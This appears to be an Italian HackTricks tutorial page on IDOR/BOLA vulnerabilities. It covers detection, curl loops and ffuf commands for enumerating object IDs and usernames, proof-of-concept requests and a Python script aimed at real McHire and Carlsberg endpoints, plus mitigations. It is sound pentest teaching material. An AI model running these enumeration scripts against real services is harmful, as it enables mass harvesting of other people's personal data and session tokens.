IDOR (Insecure Direct Object Reference)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API espone o accetta un identificatore controllabile dall’utente che viene usato direttamente per accedere a un oggetto interno senza verificare che il chiamante sia autorizzato ad accedere/modificare quell’oggetto. Una sfruttamento riuscito normalmente consente privilege-escalation orizzontale o verticale come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, il takeover completo degli account o l’esfiltrazione massiva di dati.

1. Identificare potenziali IDOR

  1. Cerca parametri che fanno riferimento a un oggetto:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Preferisci endpoint che leggono o aggiornano dati (GET, PUT, PATCH, DELETE).
  2. Nota quando gli identificatori sono sequenziali o prevedibili – se il tuo ID è 64185742, allora 64185741 probabilmente esiste.
  3. Esplora flussi nascosti o alternativi (es. “Paradox team members” link nelle pagine di login) che potrebbero esporre API aggiuntive.
  4. Usa una sessione autenticata con bassi privilegi e cambia solo l’ID mantenendo lo stesso token/cookie. L’assenza di un errore di autorizzazione è di solito un segnale di IDOR.

Manipolazione manuale rapida (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumerazione automatizzata (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerare ID di download prevedibili (ffuf)

I pannelli di file-hosting autenticati spesso memorizzano i metadata per utente in una singola tabella files ed espongono un endpoint di download come /download.php?id=<int>. Se il gestore verifica solo che l’ID esista (e non che appartenga all’utente autenticato), puoi scansionare lo spazio degli interi usando il tuo cookie di sessione valido e sottrarre i backup/config di altri tenant:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr rimuove i template in stile 404 così rimangono solo i veri hit (es., IDs 54/150 leaking full site backups and signing material).
  • Lo stesso workflow FFUF funziona con Burp Intruder o un loop di curl—assicurati solo di rimanere autenticato mentre incrementi gli ID.

Oracolo di risposte di errore per l’enumerazione utenti/file

Quando un endpoint di download accetta sia username sia filename (e.g. /view.php?username=<u>&file=<f>), sottili differenze nei messaggi di errore spesso creano un oracolo:

  • Username inesistente → “User not found”
  • Filename sbagliato ma estensione valida → “File does not exist” (a volte elenca anche i file disponibili)
  • Estensione non valida → validation error

Con qualsiasi sessione autenticata, puoi effettuare fuzzing sul parametro username mantenendo un filename benigno e filtrare sulla stringa “User not found” per scoprire utenti validi:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Una volta identificati nomi utente validi, richiedere direttamente file specifici (ad es., /view.php?username=amanda&file=privacy.odt). Questo schema porta comunemente alla divulgazione non autorizzata dei documenti di altri utenti e alla fuga di credenziali.

2. Caso reale – McHire Chatbot Platform (2025)

Durante un assessment del portale di recruiting McHire basato su Paradox.ai è stato scoperto il seguente IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Autorizzazione: user session cookie per qualsiasi account di test di ristorante
  • Parametro del body: {"lead_id": N} – identificatore numerico di 8 cifre, sequenziale

Decrementando lead_id il tester ha recuperato le full PII di candidati arbitrari (name, e-mail, phone, address, shift preferences) oltre a un consumer JWT che permetteva il session hijacking. L’enumerazione dell’intervallo 1 – 64,185,742 ha esposto circa 64 milioni di record.

Richiesta Proof-of-Concept:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinata con le default admin credentials (123456:123456) che garantivano l’accesso all’account di test, la vulnerabilità ha causato una grave violazione dei dati a livello aziendale.

Caso di studio – Wristband QR codes as weak bearer tokens (2025–2026)

Flusso: I visitatori della mostra ricevevano braccialetti con QR code; scansionando https://homeofcarlsberg.com/memories/ il browser prendeva il printed wristband ID, lo hex-encodeava e chiamava un backend cloudfunctions.net per recuperare i media memorizzati (foto/video + nomi). Non c’era session binding né autenticazione utente—knowledge of the ID = authorization.

Prevedibilità: Gli ID dei braccialetti seguivano un formato breve come C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Lo spazio delle chiavi era stimato in ~26M combinazioni, trivialmente esauribile online.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Costruire ID candidati (es., [A-Z]-###-###). Usare un attacco Burp Intruder Pitchfork o Cluster Bomb con posizioni per lettera e cifre. Aggiungere una payload processing rule → Add prefix/suffix → payload encoding: ASCII hex così ogni richiesta trasmette la stringa hex attesa dal backend.
  2. Response grep: Marcare Intruder grep-match per marker presenti solo nelle risposte valide (es., media URLs/JSON fields). Gli ID non validi tipicamente restituivano un array vuoto/404.
  3. Throughput measurement: ~1,000,000 ID sono stati testati in ~2 ore da un laptop (~139 req/s). A quel ritmo l’intero keyspace (~26M) sarebbe stato scoperto in ~52 ore. La run di esempio ha già esposto ~500 braccialetti validi (video + nomi completi).
  4. Rate-limiting verification: Dopo che il vendor ha dichiarato throttling, è stata rieseguita la stessa config di Intruder. Throughput/hit-rate identici hanno dimostrato che il controllo era assente/inefficace; l’enumerazione è proseguita senza impedimenti.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Codifica (ASCII→hex/Base64) non aggiunge entropia; ID brevi diventano bearer tokens che sono enumerabili nonostante l’encoding cosmetico. Senza autorizzazione per utente + segreti ad alta entropia, media/PII possono essere raccolti in massa anche se viene dichiarato il “rate limiting”.

3. Impatto di IDOR / BOLA

  • Escalation orizzontale – leggere/aggiornare/eliminare i dati di altri utenti.
  • Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate all’admin.
  • Violazione massiva dei dati se gli identificatori sono sequenziali (es., ID dei candidati, fatture).
  • Account takeover sottraendo token o reimpostando le password di altri utenti.

4. Mitigazioni & Best Practices

  1. Applicare l’autorizzazione a livello di oggetto su ogni richiesta (user_id == session.user).
  2. Preferire identificatori indiretti e non indovinabili (UUIDv4, ULID) invece di ID auto-incrementali.
  3. Eseguire i controlli di autorizzazione lato server, non fare mai affidamento su campi nascosti nei form o controlli UI.
  4. Implementare controlli RBAC / ABAC in un middleware centrale.
  5. Aggiungere rate-limiting & logging per rilevare l’enumerazione degli ID.
  6. Testare la sicurezza di ogni nuovo endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks